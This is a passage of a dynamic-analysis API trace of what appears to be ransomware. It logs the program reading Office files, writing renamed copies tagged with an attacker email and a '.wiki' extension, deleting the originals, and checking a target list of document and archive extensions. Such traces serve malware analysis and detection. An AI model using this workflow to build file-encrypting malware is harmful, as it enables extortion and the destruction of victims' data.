lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x90780, lpOverlapped=0x0) returned 1 [0192.614] ReadFile (in: hFile=0x220, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0192.614] WriteFile (in: hFile=0x200, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xea, lpOverlapped=0x0) returned 1 [0192.614] SetEndOfFile (hFile=0x200) returned 1 [0192.614] CloseHandle (hObject=0x200) returned 1 [0192.614] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.615] SetEndOfFile (hFile=0x220) returned 1 [0192.619] CloseHandle (hObject=0x220) returned 1 [0192.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.620] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll")) returned 1 [0192.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0192.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0192.620] lstrlenW (lpString=".doc") returned 4 [0192.620] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.620] lstrlenW (lpString=".docx") returned 5 [0192.620] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0192.620] lstrlenW (lpString=".pdf") returned 4 [0192.620] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.620] lstrlenW (lpString=".xls") returned 4 [0192.620] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.620] lstrlenW (lpString=".xlsx") returned 5 [0192.620] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0192.620] lstrlenW (lpString=".ppt") returned 4 [0192.620] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0192.620] lstrlenW (lpString=".zip") returned 4 [0192.620] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.620] lstrlenW (lpString=".rar") returned 4 [0192.620] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.621] lstrlenW (lpString=".bz2") returned 4 [0192.621] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.621] lstrlenW (lpString=".7z") returned 3 [0192.621] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0192.621] lstrlenW (lpString=".dbf") returned 4 [0192.621] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0192.621] lstrlenW (lpString=".1cd") returned 4 [0192.621] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0192.621] lstrlenW (lpString=".jpg") returned 4 [0192.621] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0192.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0192.621] lstrlenW (lpString=".doc") returned 4 [0192.621] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.621] lstrlenW (lpString=".docx") returned 5 [0192.621] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0192.621] lstrlenW (lpString=".pdf") returned 4 [0192.621] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.621] lstrlenW (lpString=".xls") returned 4 [0192.621] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.621] lstrlenW (lpString=".xlsx") returned 5 [0192.621] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0192.621] lstrlenW (lpString=".ppt") returned 4 [0192.621] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0192.621] lstrlenW (lpString=".zip") returned 4 [0192.621] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.621] lstrlenW (lpString=".rar") returned 4 [0192.621] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.622] lstrlenW (lpString=".bz2") returned 4 [0192.622] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.622] lstrlenW (lpString=".7z") returned 3 [0192.622] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0192.622] lstrlenW (lpString=".dbf") returned 4 [0192.622] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0192.622] lstrlenW (lpString=".1cd") returned 4 [0192.622] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0192.622] lstrlenW (lpString=".jpg") returned 4 [0192.622] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.622] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0192.622] lstrlenW (lpString="VBAJET32.DLL") returned 12 [0192.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.623] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=49488) returned 1 [0192.623] CloseHandle (hObject=0x220) returned 1 [0192.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll")) returned 0x20 [0192.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0192.623] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.623] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0192.624] GetLastError () returned 0x0 [0192.624] ReadFile (in: hFile=0x220, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0xc150, lpOverlapped=0x0) returned 1 [0192.651] WriteFile (in: hFile=0x200, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xc160, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xc160, lpOverlapped=0x0) returned 1 [0192.653] ReadFile (in: hFile=0x220, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0192.653] WriteFile (in: hFile=0x200, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.653] SetEndOfFile (hFile=0x200) returned 1 [0192.653] CloseHandle (hObject=0x200) returned 1 [0192.653] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.653] SetEndOfFile (hFile=0x220) returned 1 [0192.922] CloseHandle (hObject=0x220) returned 1 [0192.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.923] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll")) returned 1 [0192.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0192.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0192.923] lstrlenW (lpString=".doc") returned 4 [0192.923] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.923] lstrlenW (lpString=".docx") returned 5 [0192.923] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0192.923] lstrlenW (lpString=".pdf") returned 4 [0192.923] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.923] lstrlenW (lpString=".xls") returned 4 [0192.923] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.923] lstrlenW (lpString=".xlsx") returned 5 [0192.923] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0192.923] lstrlenW (lpString=".ppt") returned 4 [0192.923] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0192.923] lstrlenW (lpString=".zip") returned 4 [0192.923] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.923] lstrlenW (lpString=".rar") returned 4 [0192.923] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.923] lstrlenW (lpString=".bz2") returned 4 [0192.923] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.923] lstrlenW (lpString=".7z") returned 3 [0192.923] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0192.924] lstrlenW (lpString=".dbf") returned 4 [0192.924] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0192.924] lstrlenW (lpString=".1cd") returned 4 [0192.924] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0192.924] lstrlenW (lpString=".jpg") returned 4 [0192.924] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0192.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0192.924] lstrlenW (lpString=".doc") returned 4 [0192.924] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.924] lstrlenW (lpString=".docx") returned 5 [0192.924] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0192.924] lstrlenW (lpString=".pdf") returned 4 [0192.924] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.924] lstrlenW (lpString=".xls") returned 4 [0192.924] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.924] lstrlenW (lpString=".xlsx") returned 5 [0192.924] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0192.924] lstrlenW (lpString=".ppt") returned 4 [0192.924] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0192.924] lstrlenW (lpString=".zip") returned 4 [0192.924] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.924] lstrlenW (lpString=".rar") returned 4 [0192.924] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.924] lstrlenW (lpString=".bz2") returned 4 [0192.924] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.924] lstrlenW (lpString=".7z") returned 3 [0192.924] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0192.925] lstrlenW (lpString=".dbf") returned 4 [0192.925] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0192.925] lstrlenW (lpString=".1cd") returned 4 [0192.925] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0192.925] lstrlenW (lpString=".jpg") returned 4 [0192.925] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.925] lstrcmpiW (lpString1=".xrm-ms", lpString2=".wiki") returned 1 [0192.925] lstrlenW (lpString="osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 42 [0192.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.521] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=11646) returned 1 [0193.521] CloseHandle (hObject=0x1e0) returned 1 [0193.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms")) returned 0x20 [0193.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.521] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.521] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.522] GetLastError () returned 0x0 [0193.522] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x2d7e, lpOverlapped=0x0) returned 1 [0193.524] WriteFile (in: hFile=0x1dc, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2d80, lpOverlapped=0x0) returned 1 [0193.525] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.525] WriteFile (in: hFile=0x1dc, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x128, lpOverlapped=0x0) returned 1 [0193.525] SetEndOfFile (hFile=0x1dc) returned 1 [0193.525] CloseHandle (hObject=0x1dc) returned 1 [0193.525] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.525] SetEndOfFile (hFile=0x1e0) returned 1 [0193.526] CloseHandle (hObject=0x1e0) returned 1 [0193.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.526] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms")) returned 1 [0193.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0193.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0193.526] lstrlenW (lpString=".doc") returned 4 [0193.526] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.526] lstrlenW (lpString=".docx") returned 5 [0193.526] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.527] lstrlenW (lpString=".pdf") returned 4 [0193.527] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.527] lstrlenW (lpString=".xls") returned 4 [0193.527] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.527] lstrlenW (lpString=".xlsx") returned 5 [0193.527] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.527] lstrlenW (lpString=".ppt") returned 4 [0193.527] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0193.527] lstrlenW (lpString=".zip") returned 4 [0193.527] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.527] lstrlenW (lpString=".rar") returned 4 [0193.527] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.527] lstrlenW (lpString=".bz2") returned 4 [0193.527] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.527] lstrlenW (lpString=".7z") returned 3 [0193.527] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0193.527] lstrlenW (lpString=".dbf") returned 4 [0193.527] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0193.527] lstrlenW (lpString=".1cd") returned 4 [0193.527] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0193.527] lstrlenW (lpString=".jpg") returned 4 [0193.527] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0193.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0193.528] lstrlenW (lpString=".doc") returned 4 [0193.528] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.528] lstrlenW (lpString=".docx") returned 5 [0193.528] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.528] lstrlenW (lpString=".pdf") returned 4 [0193.528] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.528] lstrlenW (lpString=".xls") returned 4 [0193.528] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.528] lstrlenW (lpString=".xlsx") returned 5 [0193.528] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.528] lstrlenW (lpString=".ppt") returned 4 [0193.528] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0193.528] lstrlenW (lpString=".zip") returned 4 [0193.528] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.528] lstrlenW (lpString=".rar") returned 4 [0193.528] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.528] lstrlenW (lpString=".bz2") returned 4 [0193.528] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.528] lstrlenW (lpString=".7z") returned 3 [0193.528] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0193.528] lstrlenW (lpString=".dbf") returned 4 [0193.528] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0193.528] lstrlenW (lpString=".1cd") returned 4 [0193.528] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0193.528] lstrlenW (lpString=".jpg") returned 4 [0193.528] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.529] lstrcmpiW (lpString1=".EXE", lpString2=".wiki") returned -1 [0193.529] lstrlenW (lpString="OSPPREARM.EXE") returned 13 [0193.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.529] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=15712) returned 1 [0193.529] CloseHandle (hObject=0x1e0) returned 1 [0193.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe")) returned 0x20 [0193.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.529] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.529] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: 